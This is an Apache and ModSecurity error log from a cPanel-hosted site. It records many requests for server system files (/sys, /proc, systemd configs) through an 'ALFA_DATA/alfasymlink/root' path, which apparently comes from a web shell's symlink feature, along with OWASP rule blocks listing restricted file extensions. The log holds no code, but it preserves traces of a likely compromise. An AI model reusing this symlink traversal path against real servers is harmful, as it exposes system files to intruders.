[Sun Oct 25 19:11:46.157783 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 54.221.203.24:36598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/piix4_smbus/0000:00:01.3/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Sun Oct 25 19:11:54.169734 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 184.73.68.20:2045] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:02.274538 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 3.210.114.189:2901] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:08.181800 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 68.82.255.249:45090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/object_size
[Sun Oct 25 19:12:10.246855 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 107.20.25.33:49102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:10.996255 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 45.173.96.126:12425] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/object_size
[Sun Oct 25 19:12:13.490439 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 35.149.139.108:46198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objs_per_slab
[Sun Oct 25 19:12:13.926365 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 41.140.97.76:41112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/align
[Sun Oct 25 19:12:15.725529 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 73.104.251.96:44287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/align
[Sun Oct 25 19:12:16.550854 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 45.133.3.236:56965] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objs_per_slab
[Sun Oct 25 19:12:16.824004 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Mw7_lIj1OAY0C3WweLQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:12:16.824059 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Mw7_lIj1OAY0C3WweLQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:12:17.315501 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 71.228.126.65:54557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/align
[Sun Oct 25 19:12:17.829186 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 98.26.227.151:41890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objs_per_slab
[Sun Oct 25 19:12:25.621412 2026] [ssl:error] [pid 2918513:tid 2918513] (70014)End of file found: [client 85.208.96.204:44164] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:26.168464 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 18.208.11.93:38666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:26.594620 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 197.214.238.243:14521] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_partial
[Sun Oct 25 19:12:30.167034 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 44.212.106.171:29414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:30.469175 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 154.79.248.64:56304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_partial
[Sun Oct 25 19:12:32.735923 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 136.56.42.26:49057] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/cpu_partial
[Sun Oct 25 19:12:38.180403 2026] [ssl:error] [pid 2918479:tid 2918479] (70014)End of file found: [client 54.204.12.115:10319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:38.407960 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 142.165.127.135:49734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/alloc_calls
[Sun Oct 25 19:12:41.603794 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 216.16.124.80:8492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/alloc_calls
[Sun Oct 25 19:12:43.610312 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 82.34.213.137:36283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/alloc_calls
[Sun Oct 25 19:12:49.665881 2026] [ssl:error] [pid 2916957:tid 2916957] (70014)End of file found: [client 185.191.171.19:22716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:12:58.147036 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 50.19.221.48:23154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:13:01.981390 2026] [core:error] [pid 2918479:tid 2918479] (13)Permission denied: [client 185.191.171.19:16470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/trace
[Sun Oct 25 19:13:03.653792 2026] [core:error] [pid 2908851:tid 2908851] (13)Permission denied: [client 66.9.161.222:50183] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/red_zone
[Sun Oct 25 19:13:05.794613 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 206.188.149.175:51862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/red_zone
[Sun Oct 25 19:13:06.189261 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 184.73.35.182:27025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:13:07.927490 2026] [core:error] [pid 2917409:tid 2917409] (13)Permission denied: [client 24.74.180.209:54639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/red_zone
[Sun Oct 25 19:13:15.508940 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 3.90.73.206:31227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/ip6_mrt_cache/alloc_calls
[Sun Oct 25 19:13:18.136466 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 54.156.124.2:53064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/avc_xperms_decision_node/objects
[Sun Oct 25 19:13:20.045868 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 187.192.218.232:51692] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects_partial
[Sun Oct 25 19:13:23.707014 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 99.243.78.78:56163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects_partial
[Sun Oct 25 19:13:25.927543 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 91.200.8.253:46937] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects_partial
[Sun Oct 25 19:13:26.457977 2026] [core:error] [pid 2917051:tid 2917051] (13)Permission denied: [client 44.215.61.66:8507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/subsystem/drivers/iosf_mbi_pci/unbind
[Sun Oct 25 19:13:38.187162 2026] [security2:error] [pid 2913030:tid 2913030] [client 54.156.248.117:1651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input1/device/subsystem/"] [unique_id "at6NItACfKmH39GTPJ9i4gAAAAg"]
[Sun Oct 25 19:13:38.187202 2026] [security2:error] [pid 2913030:tid 2913030] [client 54.156.248.117:1651] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/event2/subsystem/input1/device/subsystem/"] [unique_id "at6NItACfKmH39GTPJ9i4gAAAAg"]
[Sun Oct 25 19:13:42.144045 2026] [ssl:error] [pid 2919296:tid 2919296] (70014)End of file found: [client 52.23.112.144:48203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:13:45.914668 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NHL_lIj1OAY0C3WweMwAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:13:45.914723 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NHL_lIj1OAY0C3WweMwAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:13:46.141722 2026] [core:crit] [pid 2917051:tid 2917051] (13)Permission denied: [client 34.236.41.241:44498] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/tracing/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/tracing/' is executable
[Sun Oct 25 19:13:46.142502 2026] [core:crit] [pid 2917051:tid 2917051] (13)Permission denied: [client 34.236.41.241:44498] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/debug/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/debug/' is executable
[Sun Oct 25 19:13:46.196494 2026] [authz_core:error] [pid 2918487:tid 2918487] [client 178.16.54.93:42726] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 19:13:50.682664 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 89.117.45.237:56420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects_partial
[Sun Oct 25 19:13:51.572750 2026] [authz_core:error] [pid 2918479:tid 2918479] [client 178.16.54.93:56620] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 19:13:53.304123 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 168.181.98.185:44561] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects_partial
[Sun Oct 25 19:13:57.078380 2026] [core:error] [pid 2918487:tid 2918487] (13)Permission denied: [client 35.144.139.67:34636] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objects_partial
[Sun Oct 25 19:14:02.313923 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 85.208.96.210:58864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/alloc_calls
[Sun Oct 25 19:14:18.185759 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 3.213.106.226:12282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:18/eject
[Sun Oct 25 19:14:20.540312 2026] [core:error] [pid 2916955:tid 2916955] (13)Permission denied: [client 172.59.170.219:24978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/red_zone
[Sun Oct 25 19:14:22.100074 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 73.91.152.167:53855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/red_zone
[Sun Oct 25 19:14:24.068167 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 190.8.166.32:55184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/red_zone
[Sun Oct 25 19:14:27.545834 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NR7_lIj1OAY0C3WweNgAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:14:27.545895 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:49171] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NR7_lIj1OAY0C3WweNgAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:14:30.195954 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 54.87.95.7:39996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4_wc
[Sun Oct 25 19:14:30.924653 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 38.131.62.98:47426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objs_per_slab
[Sun Oct 25 19:14:32.564861 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 90.39.2.17:60960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objs_per_slab
[Sun Oct 25 19:14:34.154830 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 18.215.112.101:3283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:14:34.339157 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 216.131.72.226:36165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/objs_per_slab
[Sun Oct 25 19:14:40.102112 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 186.194.43.15:37348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/remote_node_defrag_ratio
[Sun Oct 25 19:14:42.336136 2026] [ssl:error] [pid 2916955:tid 2916955] (70014)End of file found: [client 44.195.145.102:56997] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:14:42.503294 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 105.156.107.179:55286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/remote_node_defrag_ratio
[Sun Oct 25 19:14:44.568423 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 176.28.141.139:2082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/remote_node_defrag_ratio
[Sun Oct 25 19:14:44.659427 2026] [security2:error] [pid 2918422:tid 2918422] [client 176.159.14.113:46093] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NZMmX8eKs_cgmrz9vMQAAAAU"]
[Sun Oct 25 19:14:44.659951 2026] [security2:error] [pid 2918422:tid 2918422] [client 176.159.14.113:46093] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NZMmX8eKs_cgmrz9vMQAAAAU"]
[Sun Oct 25 19:14:44.660246 2026] [security2:error] [pid 2918422:tid 2918422] [client 176.159.14.113:46093] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NZMmX8eKs_cgmrz9vMQAAAAU"]
[Sun Oct 25 19:14:48.428491 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 1.179.73.126:35452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/trace
[Sun Oct 25 19:14:49.687556 2026] [security2:error] [pid 2913030:tid 2913030] [client 179.48.100.244:55507] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NadACfKmH39GTPJ9i6AAAAAg"]
[Sun Oct 25 19:14:49.688335 2026] [security2:error] [pid 2913030:tid 2913030] [client 179.48.100.244:55507] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NadACfKmH39GTPJ9i6AAAAAg"]
[Sun Oct 25 19:14:49.688653 2026] [security2:error] [pid 2913030:tid 2913030] [client 179.48.100.244:55507] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NadACfKmH39GTPJ9i6AAAAAg"]
[Sun Oct 25 19:14:50.768510 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 154.121.72.48:18053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/trace
[Sun Oct 25 19:14:52.180155 2026] [security2:error] [pid 2919322:tid 2919322] [client 78.173.49.141:1828] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NbJHo7mmwz2JULlIr-AAAAAw"]
[Sun Oct 25 19:14:52.180595 2026] [security2:error] [pid 2919322:tid 2919322] [client 78.173.49.141:1828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NbJHo7mmwz2JULlIr-AAAAAw"]
[Sun Oct 25 19:14:52.180921 2026] [security2:error] [pid 2919322:tid 2919322] [client 78.173.49.141:1828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "at6NbJHo7mmwz2JULlIr-AAAAAw"]
[Sun Oct 25 19:14:52.634843 2026] [core:error] [pid 2919328:tid 2919328] (13)Permission denied: [client 86.167.67.135:48918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/trace
[Sun Oct 25 19:15:12.641941 2026] [core:error] [pid 2919296:tid 2919296] (13)Permission denied: [client 142.54.199.66:46689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/hwcache_align
[Sun Oct 25 19:15:14.322256 2026] [security2:error] [pid 2910679:tid 2910679] [client 107.172.76.131:65528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NcNY9M16TKcRp9n2d3QAAAAQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 19:15:14.322326 2026] [security2:error] [pid 2910679:tid 2910679] [client 107.172.76.131:65528] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6NcNY9M16TKcRp9n2d3QAAAAQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 19:15:15.674446 2026] [core:error] [pid 2918513:tid 2918513] (13)Permission denied: [client 85.208.96.193:48550] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/total_objects
[Sun Oct 25 19:15:16.090974 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 181.189.225.4:45258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/red_zone
[Sun Oct 25 19:15:16.585986 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 172.116.247.217:39415] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/hwcache_align
